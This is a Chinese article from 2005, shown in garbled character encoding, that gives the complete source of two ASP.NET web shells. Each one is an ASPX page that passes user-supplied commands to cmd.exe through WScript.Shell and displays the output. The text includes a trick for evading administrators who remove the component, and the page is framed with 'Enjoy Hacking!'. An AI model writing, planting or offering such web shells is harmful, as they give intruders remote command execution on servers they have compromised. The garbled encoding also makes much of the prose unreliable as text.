ASP.NET下使用WScript.Shell執(zhí)行命令
ASP.NET提供了兩種方法讓我們使用COM組件:1、Server對(duì)象的CreatObject方法;2、將COM組件轉(zhuǎn)化為.NET組件。
·Server對(duì)象的CreatObject方法
這個(gè)方法比較簡(jiǎn)單,直接使用就是。當(dāng)然前提是服務(wù)器上已經(jīng)注冊(cè)了該組件,而WScript.Shell是系統(tǒng)自帶的,我們不用擔(dān)心。只是在編寫代碼時(shí)注意ASP.NET與ASP語(yǔ)法上的細(xì)微差別就可以了。直接給出代碼如下:
<!--
Titel: WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×54.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
"cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />
<br>
Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
</form>
<div align="center">———– <font color="#0000FF">Enjoy Hacking!</font> ———–
</div>
<hr width="50%">
</body>
</html>
保存為aspx文件,訪問(wèn)之,即可。
·將COM組件轉(zhuǎn)化為.NET組件
微軟給我們提供了類型庫(kù)導(dǎo)入器(Type Library Importer),經(jīng)過(guò)它的轉(zhuǎn)換,我們就可以使用COM組件了。轉(zhuǎn)換之后,會(huì)有一個(gè)dll文件,需要放到Web目錄的bin目錄下組件才可以被使用。
雖然這樣多了一個(gè)dll,但是這個(gè)dll不需要注冊(cè)就可直接使用,非常方便,這也是ASP.NET與ASP的區(qū)別之一。哈哈,有的BT管理員沒(méi)事要?jiǎng)h除“有害”的組件,現(xiàn)在他也沒(méi)辦法了吧^_^
WScript.Shell對(duì)象是%windir%\system32\WSHom.Ocx,我們把它c(diǎn)opy出來(lái)拿給類型庫(kù)導(dǎo)入器轉(zhuǎn)換:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目錄的bin下面。接著寫代碼咯,與前面的代碼有少許不同。
<!--
Titel: WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×54.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(后同代碼1)
現(xiàn)在訪問(wèn)之,看看效果吧:)
同理,我們也可以在ASP.NET下用FSO讀寫文件,Application執(zhí)行命令、Jmail發(fā)送郵件,等等等等。呵呵,.NET大有前途的啊。
(文中的程序點(diǎn)擊這里下載。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)
- 使用PowerShell .Net獲取電腦中的UUID
- PowerShell中使用.NET將程序集加入全局程序集緩存
- Powershell中可以使用的.Net實(shí)用靜態(tài)方法
- PowerShell入門教程之訪問(wèn).Net程序集、COM和WMI實(shí)例
- Powershell小技巧之查看安裝的.Net framework版本信息
- PowerShell中調(diào)用.NET對(duì)象的靜態(tài)方法、靜態(tài)屬性和類方法、類屬性例子
- PowerShell中查看當(dāng)前版本、Windows版本、.NET版本信息的代碼
- 一個(gè)ASP.Net下的WebShell實(shí)例
- PowerShell 定時(shí)執(zhí)行.Net(C#)程序的方法
- 如何使用 Shell 腳本執(zhí)行 .NET Core 應(yīng)用
相關(guān)文章
ASP.NET Core依賴注入系列教程之服務(wù)的注冊(cè)與提供
這篇文章主要給大家介紹了關(guān)于ASP.NET Core依賴注入系列教程之服務(wù)的注冊(cè)與提供的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起看看吧2018-11-11ASP.NET Core擴(kuò)展庫(kù)之實(shí)體映射使用詳解
這篇文章主要介紹了ASP.NET Core擴(kuò)展庫(kù)之實(shí)體映射使用詳解,幫助大家更好的理解和學(xué)習(xí)使用.net技術(shù),感興趣的朋友可以了解下2021-03-03.net core在服務(wù)器端獲取api傳遞的參數(shù)過(guò)程
這篇文章主要介紹了.net core在服務(wù)器端獲取api傳遞的參數(shù)過(guò)程,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-10-10解析WPF實(shí)現(xiàn)音頻文件循環(huán)順序播放的解決方法
本篇文章是對(duì)WPF實(shí)現(xiàn)音頻文件循環(huán)順序播放的方法進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下2013-05-05VS2017做為Unity3D的腳本編輯器需要的最精簡(jiǎn)組件
這篇文章主要為大家詳細(xì)介紹了VS2017做為Unity3D的腳本編輯器需要的最精簡(jiǎn)組件,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-04-04如何在前臺(tái)腳本通過(guò)json傳遞數(shù)據(jù)到后臺(tái)(使用微軟自帶的ajax)
這篇文章主要介紹了如何使用微軟自帶的ajax在前臺(tái)腳本通過(guò)json傳遞數(shù)據(jù)到后臺(tái)的實(shí)現(xiàn)方法2013-08-08ASP.NET中根據(jù)XML動(dòng)態(tài)創(chuàng)建使用WEB組件
ASP.NET中根據(jù)XML動(dòng)態(tài)創(chuàng)建使用WEB組件...2006-09-09asp.net listbox實(shí)現(xiàn)單選全選取消
這篇文章主要介紹了asp.net listbox單選全選取消的應(yīng)用,需要的朋友可以參考下2014-02-02